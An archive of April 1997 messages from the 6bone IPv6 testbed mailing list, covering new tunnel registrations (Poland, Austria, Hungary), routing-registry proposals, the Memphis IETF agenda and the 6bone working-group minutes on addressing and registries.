remarks:     Willing to add tunnels on request, particularly to customers
remarks:     of UUNET or MFS/WorldCom worldwide or organisations connected
remarks:     to LINX, D-GIX or AMS-IX.
remarks:     Currently support RIPng or STATIC routing
remarks:     ipv6-site is operational since 20-Feb-97
remarks:     first url below is currently dead )-:
url:         http://swannee.ip6.pipex.net:81/index.html
url:         http://swannee.uunet.pipex.com:81/index.html
notify:      ipv6@uunet.pipex.com
changed:     Guy.Davies@uunet.pipex.com 970403
source:      6BONE

The RIPE ip6rr object is also up to date :-)  

BTW, Can we please have some autoupdate mechanism? 

Guy


From majordom@ISI.EDU  Thu Apr  3 09:14:31 1997
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Date: Thu, 3 Apr 1997 17:14:31 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: a reference document for the new RIPE-based 6bone registry
Cc: davidk@isi.edu
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David Kessens and I have done up a web page for the new RIPE-based 6bone
registry:

	http://www-6bone.lbl.gov/6bone/RIPE-registry.html


We offer it to help you in trying it out, learning about it and evaluating
it to help with discussions we have on the mailer and in Memphis...we are
NOT saying we have converted to this operationally yet.

So please take a look and send comments to either David or me, and we will
talk more about this as anyone wants.


Thanks,

Bob



From majordom@ISI.EDU  Thu Apr  3 09:46:52 1997
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Date: Thu, 3 Apr 1997 17:46:52 -0800
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Subject: new 6bone bb links diagram - version 10
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new 6bone bb links diagram - version 10

	new RIPng tunnel from UUNET/UK to CICNET/US


Bob



From majordom@ISI.EDU  Fri Apr  4 05:04:41 1997
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Date: Fri, 4 Apr 1997 13:04:41 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: ISI 6bone registry doc and web-based whois query
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I've placed a pointer to the ISI 6bone document on the 6bone home page.

In addition, David Kessens has provided a simple web-based whois query, and
I have placed the pointer for this on the homepage as well.

I have placed the following note in the ISI registry doc to minimize confusion:

===========

EDITOR's NOTE: This DRAFT documentation is for a RIPE-style routing
registry database, currently located at ISI, that is being discussed and
evaluated for adoption by the IETF ngtrans 6bone Working Group. Readers are
cautioned to NOT take this as a completed work, or the registry it
describes as the operational 6bone routing registry.

The still "official" 6bone routing registry is an ftp-based registry
located at the RIPE-NCC. Please see "How to register your site with
RIPE-NCC" for information on this and "RIPE-NCC 6bone Registry" for access
to it.

===========

My thanks to David for all his good work!


Thanks,

Bob



From majordom@ISI.EDU  Fri Apr  4 07:00:24 1997
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Subject: 6bone Agenda (v5) for Memphis
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6bone Agenda (v5) for Memphis below.  Please email me changes, deletions,
and additions.


Thanks,

Bob


6bone Agenda (v5) for Memphis
____________________________

1. Topology, addressing and routing issues

	CAIRN backbone -  Allison Mankin

	routing in the backbone - status from IDR WG

	a 6bone IPv6 address block and registry - Dimitry Haskin

	Toward Establishing a real virtual IPv6 network - Hsin Fang  <<<< NEW

	addressing beyond RFC 1987 - Bob Fink

	Prefix aggregation problems - Alain Durand


2. 6bone routing registry issues

	David Meyer's Internet-Draft on extensions for
	"Representing Tunnels in RPSL" - David Meyer

	RIPE-NCC based - David Kessens

	DNS based - Bill Manning


3. Decide how to proceed with an Internet-Draft outlining requirements for the
new 6bone infrastructure


===============================================================================
Reposted for your information
===============================================================================

The Memphis IETF 6bone WG session has been scheduled for a Wed. afternoon
(9 April) one hour time slot.  I had decided on a one hour time slot as
meeting slots are hard to come by and we should not go any longer than
practical with a large group (if San Jose was any example).  If this
meeting proves we need, and can use, a longer time slot, we can get one in
Munich.

I've shown all the IPng sessions below for your convenience.  Note that the
times have been carefully chosen to keep you in Memphis all week, whether
you can find a hotel or not :-)

However, the real reason that the IPng meetings are so late in the week is
that Steve Deering will be in Japan until Wed. afternoon.


The 6bone has been included under the NGTrans WG with me as a co-chair,
along with Tony Hain and Bob Gilligan.  However, Scott Bradner (one of the
current OPS area directors) said that we should, for now, operate as a
separate part of NGTrans, much in the same way that IPPM operates under
BMWG.

I have no problem with this and agree it is sensible that the 6bone be
considered part of the IPv6 transition effort.
================================================================================

MONDAY, April 7, 1997

1930-2200  Evening Sessions  (2 1/2 hours)

        APP   http      HyperText Transfer Protocol WG
        INT   frnetmib  Frame Relay Service MIB WG
        INT   svrloc    Service Location Protocol WG
        OPS   bmwg      Benchmarking Methodology WG
        OPS   mboned    MBONED Deployment WG
>>>>>   OPS   ngtrans   New Generation Transition WG
        SEC   secsh     Secure Shell Protocol WG
        USV   isnII     Internet School Networking-Educators BOF


WEDNESDAY, April 9, 1997

1415-1515  Afternoon Sessions II  (1 hour)

        APP   ircup     IRC Update BOF
        APP   schema    Schema Registration BOF
        INT   dnsind    DNS IXFR, Notification, and Dynamic Update WG
        INT   ipcdn     IP Over Cable Data Network WG
>>>>>   OPS   6bone     IPv6 Backbone BOF
        OPS   ptopomib  Physical Topology MIB WG
        RTG   ospf      Open Shortest Path First IGP WG
        TSV   issll     Integrated Services over Specific Link Layers WG


THURSDAY, April 10, 1997

1300-1500  Afternoon Sessions I  (2 hours)

        APP   fax       Internet Fax WG
        APP   lsma      Large Scale Multicast Applications WG
>>>>>   INT   ipngwg    IPNG WG
        OPS   snmpv3    Simple Network Management Protocol Version 3 WG
        RTG   mpls      Multiprotocol Label Switching WG
        SEC   ipsec     IP Security Protocol WG
        TSV   nfsv4     Network File System Version 4 BOF

FRIDAY, April 11, 1997

0830-0900  Continental Breakfast
0900-1130  Morning Sessions  (2 1/2 hours)

        APP   drums     Detailed Revision/Update of Message Standards WG
        INT   frnetmib  Frame Relay Service MIB WG
>>>>>   INT   ipngwg    IPNG WG
        OPS   bmwg      Benchmarking Methodology WG
        OPS   snmpv3    Simple Network Mangaement Protocol Version 3 WG

================================================================================



From majordom@ISI.EDU  Sat Apr  5 17:44:51 1997
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Message-Id: <199704051344.PAA21332@rymunda.torun.pdi.net>
Subject: Tunnel do Poland
To: 6bone@ISI.EDU
Date: Sat, 5 Apr 1997 15:44:51 +0200 (MET DST)
From: Rafal Maszkowski <rzm@torun.pdi.net>
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Thanks to Peter Sjoedin from SICS we have a tunnel Poland-Sweden now.
I hope that the following entry is correct - I have uploaded it to
RIPE ftp database.

site:           PDi Torun (Public Internet Access, Torun)
location:       Torun, Poland
loc-string:     53 01 00N  18 35 00E  100m
prefix:         5f07:5f00/32
ping:           len6.torun.pdi.net 5f07:5f00:9e4b:0:1::1
tunnel:         158.75.28.22 193.10.66.50	SICS/SE	static	operational
tunnel:         158.75.28.22 158.75.2.50	UMK/PL	static	operational
tunnel:         158.75.28.22 194.181.184.77	ZSE/PL	static	down
tunnel:         158.75.28.22 156.17.29.1	PWr/PL	static	planned
tunnel-v4:	158.75.28.22
tunnel-v6:	5f07:5f00:9e4b:0:1::1
contact:        Rafal Maszkowski <rzm@pdi.net>
status:		operational since 03-Apr-97
remark:         System: i486 Linux 2.1.x; temporary IPv6 router for *.pl
remark:		may be down in the afternoon MET; loc-string is unprecise
changed:        rzm@pdi.net 970403
source:         RIPE

Whom should I ask for delegating rDNS? I would like to have it
for 0.0.0.0.b.4.e.9.0.0.f.5.7.0.f.5.ip6.int . The primary could be
5f07:5f00:9e4b:0:1::1 . I will try to setup some other bind but just now
I have only one v6 machine with named. I hope to run some other one in
Poland but I would like to have one secondary outside pl too.

R.
-- 
Rafal Maszkowski rzm@torun.pdi.net           http://www.torun.pdi.net/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec

From majordom@ISI.EDU  Sat Apr  5 03:28:08 1997
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Date: Sat, 5 Apr 1997 11:28:08 -0800
To: Rafal Maszkowski <rzm@torun.pdi.net>, 6bone@ISI.EDU
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Tunnel do Poland
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Rafal,

At 5:44 AM -0800 4/5/97, Rafal Maszkowski wrote:
>Thanks to Peter Sjoedin from SICS we have a tunnel Poland-Sweden now.

I'm adding PDiT/PL to the diagram today.


>Whom should I ask for delegating rDNS? ...

From  http://www-6bone.lbl.gov/6bone/6bone_hookup.html
Status: RO

- Don't forget the ip6.int delegation for reverse mapping.  Bill Manning
  (bmanning@isi.edu) is doing these and he allocates them with a /32, so
  you need to coordinate this with whoever in your organization is
  responsible for your ASN.


Welcome to the 6bone!


Thanks,

Bob



From majordom@ISI.EDU  Sat Apr  5 03:36:17 1997
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To: 6bone@isi.edu (6BONE Mailer)
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Subject: new 6bone diagram - version 64
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new 6bone diagram - version 64

	add PDIT/PL to SICS/SE


Welcome to PDiT and our newest country, Poland:

	PDi Torun (Public Internet Access, Torun, Poland)


This will be the last update until after the Memphis IETF.


Thanks,

Bob



From majordom@ISI.EDU  Tue Apr  8 15:36:39 1997
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Date: Tue, 8 Apr 1997 13:36:39 +0200
From: Bruno Achauer <bruno@tk.uni-linz.ac.at>
Message-Id: <199704081136.NAA18963@pelican.tk.uni-linz.ac.at>
To: 6bone@ISI.EDU
Subject: tunnel request
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Hi,

we have a small experimental ipv6 network and would like to connect to
the 6bone.  Anybody interested in setting up a tunnel to us?

--Bruno.

-----------------------------------------------------------------------
| Bruno Achauer, Uni Linz, Institut f. Informatik/Telekooperation     |
| Altenbergerstrasse 69, A-4040 Linz, Austria                         |
| bruno@tk.uni-linz.ac.at, Phone +43-732-24689264, Fax +43-732-246810 |
-----------------------------------------------------------------------

From majordom@ISI.EDU  Tue Apr  8 01:27:30 1997
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From: davidk@ISI.EDU (David Kessens)
Message-Id: <199704081527.AA00793@zephyr.isi.edu>
Subject: 6BONE RIPE style database dump now available
To: 6bone@ISI.EDU
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Hi,

A full dump of the 6BONE RIPE style database is now available from:

http://www.ISI.EDU/~davidk/6bone/

The dump is updated every night.

David K.
---

From majordom@ISI.EDU  Tue Apr  8 23:13:09 1997
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Date: Tue, 8 Apr 1997 21:13:09 +0200
From: Bruno Achauer <bruno@tk.uni-linz.ac.at>
Message-Id: <199704081913.VAA21136@pelican.tk.uni-linz.ac.at>
To: 6bone@ISI.EDU
Subject: New tunnel: SWITCH - TK-LINZ
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Hi,

a tunnel has been established between the Univerity of Linz and
SWITCH:

site:           TK-LINZ, Telecooperation Group, University of Linz
location:       Linz, Austria
prefix:         5F04:B500:8C4E:5C00::/80
ping:           5F04:B500:8C4E:5C00::0800:2BE4:FA35 poista.ipv6.tk.uni-linz.ac.at
ping:           5F04:B500:8C4E:5C00::0800:2BE4:FB35 bobbele.ipv6.tk.uni-linz.ac.at
tunnel:		140.78.92.35 130.59.1.5 SWITCH - static - operational
contact:        bruno@tk.uni-linz.ac.at
status:         operational
changed:        bruno@tk.uni-linz.ac.at 970308
source:         RIPE

Special thanks to Simon Leinen at SWITCH and all the other folks who
responded even before I saw my own mail coming back from the list :-)

--Bruno.

-----------------------------------------------------------------------
| Bruno Achauer, Uni Linz, Institut f. Informatik/Telekooperation     |
| Altenbergerstrasse 69, A-4040 Linz, Austria                         |
| bruno@tk.uni-linz.ac.at, Phone +43-732-24689264, Fax +43-732-246810 |
-----------------------------------------------------------------------

From majordom@ISI.EDU  Wed Apr  9 12:03:47 1997
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Date: Wed, 9 Apr 1997 10:03:47 +0200 (MET DST)
From: Andrea Chierici <andrea.chierici@cnaf.infn.it>
To: 6bone@isi.edu
Subject: IPv6 QOS 
Message-Id: <Pine.OSF.3.95.970409100212.29431B-100000@dxcnaf.cnaf.infn.it>
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Hi,
I am writing my master thesis on IPV6 here at INFN-CNAF,
and I'm interested particularly in quality of service and granted
bandwith.
Can anybody tell me if there are some application that can be tested now?
I see that the 6bone is up just for pings and traceroutes, can not we do
something more?

Thanks,
Andrea

-----------------------------------------
Andrea Chierici, Computer Science Student
INFN-CNAF 
Bologna ITALY
-----------------------------------------


From majordom@ISI.EDU  Wed Apr  9 17:26:55 1997
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Message-Id: <334B991F.14AF@tbit.dk>
Date: Wed, 09 Apr 1997 15:26:55 +0200
From: "Martin D. Peck" <mdp@tbit.dk>
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To: Andrea Chierici <andrea.chierici@cnaf.infn.it>
Cc: 6bone@ISI.EDU, alex@wintermute.co.uk, mdp@tbit.dk
Subject: Re: IPv6 QOS
References: <Pine.OSF.3.95.970409100212.29431B-100000@dxcnaf.cnaf.infn.it>
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Hi Andrea,

Andrea Chierici wrote:
> 
> Hi,
> I am writing my master thesis on IPV6 here at INFN-CNAF,
> and I'm interested particularly in quality of service and granted
> bandwith.
> Can anybody tell me if there are some application that can be tested now?
> I see that the 6bone is up just for pings and traceroutes, can not we do
> something more?

We're doing a router based implementation of RSVP for IPv6 and
establishing a way of exchanging the specified traffic parameters with
ATM SVCs (it's up and running for IPv4) . In a 6Bone environment build
on static IPv4 tunnels this is not meaningful, so we are pushing for
some end-to-end IPv6 connectivity to run tests. Any ideas ?

/Martin

Telebit Communications

From majordom@ISI.EDU  Wed Apr  9 22:30:24 1997
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Date: Wed, 09 Apr 1997 20:30:24 +0200
Message-Id: <B0000028382@pandora.forum.pt>
To: 6bone@isi.edu
From: Rute Sofia <rute.sofia@forum.pt>
Subject: Fw: IPv6 QOS 
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Hi,
I am writing my master thesis on IPSEC - mainly ISAKMP at the University
of Lisbon, Portugal and I'd like to know where can I obtain some
implementation (and documentation) that I could use for some testing.

	Thanks,
		Rute Sofia
		
-------------------------------------------------------------------

Helena Rute Esteves Carvalho Sofia

rute.sofia@forum.pt
mi1002@caravela.di.fc.ul.pt

University of Lisbon
-----------------------------------------------------------

From majordom@ISI.EDU  Wed Apr  9 23:54:29 1997
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  (5.67a8/IDA-1.5 for 6bone@isi.edu); Wed, 9 Apr 1997 21:54:29 +0200
From: MARAY Tamas <maray@fsz.bme.hu>
Message-Id: <199704091954.AA19393@bagira.fsz.bme.hu>
Subject: New tunnel: CICnet - BME-FSZ
To: 6bone@isi.edu
Date: Wed, 9 Apr 1997 21:54:29 +0200 (MET DST)
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Hi all,

A new tunnel has been set up between CICnet (Chicago) and the
Technical University of Budapest, Hungary.

The RIPE entry:

site:           Technical Univ. of Budapest (BME-FSZ) 
location:       Budapest, Hungary
loc-string:     47 30 00n 19 00 00e 10m
prefix:         5f09:f300:9842:4c00/64
ping:		tracy.ipv6.fsz.bme.hu
ping:           5f09:f300:9842:4c00:4c:0:c067:7b99
tunnel:         152.66.76.4 131.103.1.54 CICnet 
contact:        maray@fsz.bme.hu
status:         operational since 09-04-1997 
changed:        maray@fsz.bme.hu 970409
source:         RIPE

Tamas


From majordom@ISI.EDU  Thu Apr 10 10:47:18 1997
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Date: Thu, 10 Apr 1997 08:47:18 +0200 (METDST)
From: "Gudrun R. Dalgeir" <unigrd@unidhp1.uni-c.dk>
To: 6bone Mailer <6bone@ISI.EDU>
Subject: New tunnel, BME-FSZ and UNI-C
In-Reply-To: <199704091954.AA19393@bagira.fsz.bme.hu>
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Hi,

    there's a new static tunnel between the Technical Univ. of 
Budapest (BME-FSZ) and UNI-C.

    regards, 

---------------- oo000oo ----------------------------------
Gudrun Dalgeir             phone  : (+) 45 35878532
UNI-C                      fax    : (+) 45 35878890
Vermundsgade 5             e-mail : Gudrun.Dalgeir@uni-c.dk
DK-2100 Kbh. O             
-----------------------------------------------------------


From majordom@ISI.EDU  Fri Apr 11 00:34:49 1997
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From: bmanning@ISI.EDU (Bill Manning)
Message-Id: <199704111434.AA12888@zephyr.isi.edu>
Subject: proposed changes
To: 6bone
Date: Fri, 11 Apr 1997 07:34:49 -0700 (PDT)
Cc: bmanning (Bill Manning, ; DIV7)
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Hi,
	Would people object to a more structured approch to registering
	inverse delegations, e.g. an online form?

	Would there be significant grief if the proposed online form
	asked for authentication keys?  The default is a null key if 
	none is supplied.
	(I'd like to start using DNS Security)

-- 
"When in doubt, Twirl..."  -anon

From majordom@ISI.EDU  Sat Apr 12 04:23:30 1997
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Date: Sat, 12 Apr 1997 12:23:30 -0800
To: bmanning@ISI.EDU (Bill Manning)
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: proposed changes
Cc: 6bone@isi.edu (6BONE Mailer)
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Bill,

At 6:34 AM -0800 4/11/97, Bill Manning wrote:
...
>	Would people object to a more structured approch to registering
>	inverse delegations, e.g. an online form?

I think an online web-based form would be great!


>	Would there be significant grief if the proposed online form
>	asked for authentication keys?  The default is a null key if
>	none is supplied.
>	(I'd like to start using DNS Security)

Can you start with the web form, them give us an outline of what adding
"DNS security" means in practice before we agree to going to it?  I think
it's a good idea in general, but most of us are probably not really clear
on all the implications.


Thanks,

Bob



From majordom@ISI.EDU  Sun Apr 13 08:00:22 1997
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Date: Sun, 13 Apr 1997 15:00:22 -0700
To: minutes@ietf.org
From: Bob Fink <RLFink@lbl.gov>
Subject: Memphis IETF ngtrans-6bone WG minutes
Cc: Scott Bradner <sob@harvard.edu>, mo@uunet.uu.net (Mike O'Dell),
        John Curran <curran@bbn.com>, Tony Hain <tonyhain@microsoft.com>,
        6bone@isi.edu (6BONE Mailer), Steve Deering <deering@cisco.com>,
        Bob Hinden <hinden@ipsilon.com>
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IETF Secretariat,

Enclosed are the minutes of the Memphis IETF 6bone WG meeting.

Note that the 6bone WG is a part of the NGTRANS WG, which currently holds separate meetings and will submit its own minutes.


Thanks,

Bob

_______________________cut here_____________________________________

6bone WG Meeting
April 9, 1997
Memphis, TN

Bob Fink / LBNL, Chair (co-chair of ngtrans WG)
Reported by Dan Harrington and Bob Fink.

--------------------------------------------------------------------
Agenda
--------------------------------------------------------------------

1. Introduction and Agenda Bashing / Bob Fink
2. CAIRN Backbone / Allison Mankin
3. Status from the IDR WG / Bob Fink
4. Prefix aggregation problems / Alain Durand
5. A 6BONE address block and registry / Dimitry Haskin
6. Toward establishing a real virtual IPv6 network / Hsin Fang
7. Addressing beyond RFC1987 / Bob Fink
8. Representing IPv6 Tunnels in RPSL / David Meyer
9. New 6BONE registry / David Kessens
10. DNS is your friend / Bill Manning
11. Internet Draft on requirements for new 6bone infrastructure / Bob Fink
12. Survey of implementations / Bob Fink

--------------------------------------------------------------------
1. Introduction and Agenda Bashing / Bob Fink
--------------------------------------------------------------------

Bob Fink convened the meeting, giving a status report of the formation of the 6bone WG as part of the ngtrans WG.  He noted that 6bone efforts would be kept distinct from ngtrans transition tools current efforts, but that how the two subgroups would interact in the future would be evaluated and modified as appropriate.

Fink noted that there was a 6bone web page at:

	http://www-6bone.lbl.gov/6bone/

and a mail list that one can subscribe to:

	majordomo@isi.edu

	subscribe 6bone

He then asked for additions and changes to the agenda.  Due to the large attendance expected at this meting (based on experience at San Jose) it had been decided to use only a one hour time slot, with strict time control on the agenda topics with most discussion and decisions being done via the mail list.   

The agenda was modified by Kevin Lahey's request for a quick survey of implementations used on the 6bone.  The agenda was accepted and the meeting continued.

--------------------------------------------------------------------
2. CAIRN Backbone / Allison Mankin
--------------------------------------------------------------------

Allison Mankin presented her ideas for a native IPv6 backbone using the CAIRN research backbone network.

- High bandwidth backbone for research, etc. (U.S. federal funding)

- A diagram of the CAIRN topology was shown:
    + connectivity ranges from DS-3 to full OC-3.
    + several current v6 sites are CAIRN sites (ISI, LBL...)
    + each site has a PC/FreeBSD router and/or an Ascend GRL w/v6 support

- Proposed possibilities for the backbone included:
    + Transit bandwidth service with native IPv6 unicast
    + Native IPv6 multicast path
    + V6 peering/exchange points
    + Experimental clearinghouse
    + Software distribution center

Jim Bound commented that it was important for CAIRN's IPv6 implementation to
use UNH interop lab/events to make sure there is proper interoperability before 
direct connectivity is attempted.  Allison expressed her desire to join in the UNH testing.

Further discussion was deferred to the mail list.

--------------------------------------------------------------------
3. Status from the IDR WG / Bob Fink
--------------------------------------------------------------------

Bob Fink reported on the IDR WG meeting earlier in the week, noting that there were two competing BGP proposals.  One from Cisco for a BGP4+ that mostly just added IPv6 support to BGP4, while a Bay/ISI proposal for a BGP5 added other features, such as a larger AS, in addition to IPv6 support.  He also noted that Cisco had released an early field test version of their BGP4+ that was in the hands of several 6bone sites for experimentation.

Fink stated his desire that the 6bone soon start testing BGP among some 6bone backbone sites for early experience with BGP. 

Further discussion was deferred to the mail list.

--------------------------------------------------------------------
4. Prefix aggregation problems / Alain Durand
--------------------------------------------------------------------

Alain Durand spoke on routing anomolies that he has observed in the running 6bone.

- Inconsistency in method of aggregation.  Too many routes.

- Backdoor routes...leads to looping, requires additional routes to supress.

- Unaggregated advertisements (might have been one-time blip)

- "Wierd" prefixes...typos, incorrect scope.

Alain noted that site-local prefix could use a tighter definition.

His conclusion...160 routes today, could easily be cut to 95 through better aggregation.  With a better addressing scheme (e.g. GSE's large structure) this could be cut to ~20 (in Default Free Zone).

--------------------------------------------------------------------
5. A 6BONE address block and registry / Dimitry Haskin
--------------------------------------------------------------------

Dimitry Haskin spoke on the need for a new 6bone address structure and registry. He acknowledged the first steps taken with the 6bone, noting that it now must evolve into a "real" network using a real address structure.  Commercial interest in connectivity must be met, and this required moving to a real addressing architecture and registry.

He agreed with plans he was hearing for the 6bone to move to whatever the IPng WG decided as the outcome of its GSE deliberations.

--------------------------------------------------------------------
6. Toward establishing a real virtual IPv6 network / Hsin Fang
--------------------------------------------------------------------

Hsin Fang spoke on problems with the current 6bone RFC1987 address strcuture, how it was being used and how a "real virtual IPv6v network" might be formed based on changes to RFC1987.

6BONE Address Problems:

- No organized hierarchical addressing structure.

- No correlation between DNS structure and addressing structure.

- No correlation between 6bone topology and addressing structure.

- ISPs are not ready to operate as IPv6 service providers.

- 6bone rate of growth indicates that scaling will become an issue before ISPs are ready.

- 6bone "service providers" are typically not ISPs.

- No guarantee that the currently used "subscriber assumed" address prefix will be the actual ISP assigned prefix.

- Real provider based addresses are guaranteed to be different (RFC1897).

- Renumbering WILL happen - why not have a structured hierarchy now?


Suggestions:
	
Establish the IPv6 address based on 6bone structure.

- Use 6bone virtual provider's ID instead of physical network provider's ASN.

- Use meaningful representation in the subscriber field, e.g. it could be one's own ASN or one's network address.


Provider Based Address Format

 | 3 |  5 bits  |  16 bits | 8 |   24 bits  | 8 |    64 bits     |
 +---+----------+----------+---+------------+---+----------------+
 |010|RegistryID|ProviderID|RES|SubscriberID|RES|Intra-Subscriber|
 +---+----------+----------+---+------------+---+----------------+

Testing Address Format

 | 3 |  5 bits  |  16 bits | 8 |   24 bits  | 8 | 16 bits|48 bits|
 +---+----------+----------+---+------------+---+--------+-------+
 |   |          |Autonomous|   |    IPv4    |   | Subnet | Intf. |
 |010|  11111   |  System  |RES|   Network  |RES|        |       |
 |   |          |  Number  |   |   Address  |   | Address|  ID   |
 +---+----------+----------+---+------------+---+--------+-------+

Suggested New 6bone Address Format

 | 3 |  5 bits  |  16 bits | 8 |   24 bits  | 8 | 16 bits|48 bits|
 +---+----------+----------+---+------------+---+--------+-------+
 |   |          | IPv6     |   |  ASN* or   |   | Subnet | Intf. |
 |010|  11111   | VPID	   |RES|IPv4 prefix |RES|        |       |
 |   |          |          |   |            |   | Address|  ID   |
 +---+----------+----------+---+------------+---+--------+-------+
      

IPv6 VPID    :  Virtual Provider Identifier
ASN*         :  Your own ASN
IPv4 Prefix  :  Your ISP provided network address


Benefits:

- More accurate delegation of 6bone.
- Provide reasonable address/DNS aggregation.
- More efficient routing table aggregation.
- Provides valuable experience on IPv6 renumbering on a relatively large scale.

Matt Crawford commented that he welcomed Hsin Fang's ideas, suggesting that implementation of it be done ASAP.  There was general agreement from the crowd.

Further discussion was deferred to the mail list.

--------------------------------------------------------------------
7. Addressing beyond RFC1987 / Bob Fink
--------------------------------------------------------------------

Bob Fink briefly outlined his desire for the 6bone to follow the new IPv6 addressing plan that he expected to result from the IPng WG meeting later in the week.  He postulated that, if real operational experience and feedback to developers and the IPng WG was a primary goal of the 6bone, that the 6bone should move quickly to adopt a new addressing plan and to test network renumbering.

Jim Bound expressed his concern that users might not accept the concept of renumbering in the marketplace.

Bob Fink then asked Bob Hinden to comment as IPng WG co-chair.

Bob Hinden commented that he would be presenting a preliminary new unicast addressing plan at the IPng WG meeting later in the week, and that this would result in an Internet-Draft shortly therafter.  He also supported experimentation with renumbering as a goal for the 6bone.

Further discussion was deferred to the mail list.

--------------------------------------------------------------------
8. Representing IPv6 Tunnels in RPSL / David Meyer
--------------------------------------------------------------------

David Meyer presented his ideas on representing IPv6 tunnels in RPSL that were published in the Internet Draft library as draft-ietf-rps-rpsl-00.txt.

- inet-rtr object in RPSL is extended - tunnels modeled as an interface

- new inet-tunnel object defined

- follows RIPE-181/RPSL paradigm of specifying "your" side of the policy

Please refer to the I-D for details.

David then outlined outstanding issues:

- Formal syntax for IPv6 Route Object?
  + Tunnel object would like to use general RPSL syntax to describe policy
  + Finessed in the examples (ANY)

- Generally, should RPSL be used for IPv6?

- Transition from RIPE registry to ?

- Tools

- Others (such as David Kessen's comments)

David described David Kessens offline comments on the draft, which he will continue to pursue offline.

There was a question on filtering/policy that was unanswered due to time constraints on the schedule.

Bob Fink requested feedback to David on his draft via the mail list.

--------------------------------------------------------------------
9. New 6BONE registry / David Kessens
--------------------------------------------------------------------

David Kessens spoke on the new RIPE-191 style 6bone routing registry that he had just made operational prior to this IETF meeting.  He gave a brief overview of the information he has already sent to the 6bone mail list, noting that there was a web page describing how to use the new registry available through the 6bone web pages. 

There is also a whois web-based query tool for the registry that is available through the 6bone web pages.

He noted that the registry and the whois server is at brind.isi.edu and that the registry will be mirrored at several 6bone sites around the world.  

David noted Bob Fink's intention to register the domain 6bone.net, and that the registry and whois server could then be renamed under this domain.

Information on the IPv6 site object extension to the RIPE database structure are available from the Internet Draft library as draft-ietf-ngtrans-6bone- registry-00.txt.

Discussion of if and when to convert the 6bone from the existing RIPE-NCC ftp-based routing registry was deferred to the mail list.

--------------------------------------------------------------------
10. DNS is your friend / Bill Manning
--------------------------------------------------------------------

Bill Manning spoke on his idea for putting 6bone routing information into the DNS using TXT and/or Kitchen Sink SINK resource records.  He noted that this would allow the site to locally maintain their own routing registry information using the well established DNS hierarchy, thereby encouraging a more up-to-date registry due to its locally controlled nature.

Due to limited time (the one hour time slot was up and cookies were availabe so people were drifting out), this was deferred to the mail list.

For those interested in Don Eastlake's Kitchen Sink Resource Record mechanism to extend DNS, please refer to draft-eastlake-kitchen-sink-01.txt.

--------------------------------------------------------------------
11. Internet Draft on requirements for new 6bone infrastructure / Bob Fink
--------------------------------------------------------------------

Bob Fink asked for help on an Internet Draft on Requirements for the New 6bone Infrastructure.  A goal would be to have a first draft by the Munich IETF in August.  

Those interested were asked to contact Bob offline.

--------------------------------------------------------------------
12. Survey of implementations / Bob Fink
--------------------------------------------------------------------

The survey of IPv6 implementations in use on the 6bone was postponed due to lack of time.  Bob Fink volunteered to do this survey via the mail list.

--------------------------------------------------------------------
--------------------------------------------------------------------
- end



From majordom@ISI.EDU  Mon Apr 14 12:05:24 1997
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From: Ad Olsthoorn <ad@vosko.nl>
To: "'Rute Sofia'" <rute.sofia@forum.pt>
Cc: "'6bone@isi.edu'" <6bone@ISI.EDU>
Subject: AW: IPv6 QOS 
Date: Mon, 14 Apr 1997 10:05:24 +0200
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Hi Helena Rute Esteves Carvalho Sofia,

Try FTP Software Inc Onnet32 v2.0 or Secure Client  v3.0 TCP/IP suite, =
this is a full IPv6/IPv4 kernel with IPSEC implemenation. Search the web =
(www.ftp.com) and you'll find all you need !!
You can download demo's or order 30 day full action copies on CD (Only =
the US versions supports the security features due to exportlimitations =
in the US)

Regards,

Ad Olsthoorn


----------
Van:  Rute Sofia[SMTP:rute.sofia@forum.pt]
Verzonden:  woensdag 9 april 1997 20:30
Aan:  6bone@isi.edu
Onderwerp:  Fw: IPv6 QOS=20


Hi,
I am writing my master thesis on IPSEC - mainly ISAKMP at the University
of Lisbon, Portugal and I'd like to know where can I obtain some
implementation (and documentation) that I could use for some testing.

	Thanks,
		Rute Sofia
	=09
-------------------------------------------------------------------

Helena Rute Esteves Carvalho Sofia

rute.sofia@forum.pt
mi1002@caravela.di.fc.ul.pt

University of Lisbon
-----------------------------------------------------------



From majordom@ISI.EDU  Sun Apr 13 23:37:08 1997
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To: Eric Yang <eyang@tri.sbc.com>
From: Bob Fink <RLFink@lbl.gov>
Subject: Re: Cairn and future v6 backbone
Cc: 6bone@isi.edu (6BONE Mailer), Allison Mankin <mankin@metro.isi.edu>
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Eric,

At 6:02 AM -0700 4/14/97, Eric Yang wrote:
...
>   I understand CAIRN is part of DARPA. If the plan is to create a IPv6
>backbone based on the CAIRN , is it possible for a private company to
>participate?  If this is possible, I like to hear more about it.

Of course.  You aren't becoming a member of CAIRN's testbed itself, rather
participating in a research project that one of their members is proposing
to use it for.

For details of the proposal I will defer to Allison Mankin.


Thanks,

Bob



From majordom@ISI.EDU  Mon Apr 14 01:41:44 1997
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Date: Mon, 14 Apr 1997 08:41:44 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone diagram - version 65
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new 6bone diagram - version 65

	BME-FSZ/HU to UNI-C/DK

	NURI/KR to ISI-LAP/US

	TK-LINZ/AT to SWITCH/CH


Welcome to BME-FSZ/HU in Budapest, Hungary, our 22nd country!

Technical Univ. of Budapest (BME-FSZ)
Budapest, Hungary


Also welcome to NURI/KR, our 2nd Korean site I believe.

NURI ( Inet, Inc. )
Seoul, KOREA


Also welcome to another Austrian site, TK-LINZ/AT

Telecooperation Group, University of Linz
Linz, Austria


We are getting VERY international!!

Bob

PS:

I'm guessing on which tunnels to use for BME-FSZ and NURI to use.  Can
someone from these sites (or anyone) tell me if these are close to the IPv4
routing for these sites?

(Just a reminder, I only show one tunnel per site, hopefully the tunnel
closest to the site's IPv4 route to the Internet, and also hopefully the
one it considers primary.)



From majordom@ISI.EDU  Mon Apr 14 01:51:57 1997
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From: Bob Fink <RLFink@lbl.gov>
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I have added David Kessen's pointer to his registry homepage to the 6bone
home page, which includes full registry dumps and his whois source code.

We do need discussion on the list as to if/when to convert to this new
registry as it is now stale and new sites are being added to the old one
(as they should be until we agree to use the new one and cutover to it).


Thanks,

Bob



